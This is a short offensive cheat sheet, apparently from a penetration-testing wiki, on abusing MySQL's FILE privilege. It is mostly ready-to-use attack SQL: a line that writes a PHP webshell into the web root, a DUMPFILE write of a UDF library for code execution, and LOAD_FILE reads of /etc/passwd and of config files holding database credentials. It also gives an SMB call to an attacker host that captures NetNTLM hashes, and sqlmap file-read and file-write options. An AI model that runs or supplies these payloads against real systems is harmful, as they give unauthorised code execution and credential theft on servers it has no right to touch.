With the FILE privilege, MySQL reads and writes files as its service account. The write primitive is the more valuable: dropping a webshell under a web root is a direct path to code execution, and writing a library into the plugin directory sets up a UDF.
Writing files#
-- drop a webshell under a served directory
SELECT '<?php system($_GET["c"]); ?>' INTO OUTFILE '/var/www/html/s.php';
-- write raw bytes (e.g. a UDF .so) with DUMPFILE, which does not add row/line formatting
SELECT 0xMACHINECODE INTO DUMPFILE '/usr/lib/mysql/plugin/x.so';
Reading files#
SELECT LOAD_FILE('/etc/passwd');
SELECT LOAD_FILE('/var/www/html/config.php'); -- app secrets, DB creds
The secure_file_priv gate#
SELECT @@secure_file_priv;
-- '' (empty) -> read/write anywhere
-- a directory -> confined to that path
-- NULL -> file operations disabled
Exploitation notes#
- The webshell write is the headline:
INTO OUTFILEunder the web root turns database access into web RCE, provided the path is writable by themysqlaccount andsecure_file_privallows it. - Use
INTO DUMPFILE(notOUTFILE) for binaries:OUTFILEescapes and adds separators, corrupting a.so/.dll;DUMPFILEwrites bytes verbatim. LOAD_FILEreturns NULL when the file is unreadable by the service account or blocked bysecure_file_priv, so check that setting first.- These require the
FILEprivilege, whichroothas by default; a lower user may not, so confirm withSHOW GRANTS. - On Windows MySQL,
LOAD_FILE('\\\\<attacker>\\x')makes the service account authenticate to an SMB listener, a NetNTLM capture or relay primitive; uncommon, since MySQL on Windows is rare.
Tools#
- mysql: run
INTO OUTFILE/LOAD_FILEdirectly. - sqlmap (
--file-write,--file-read): automated file write and read over injection or a direct connection.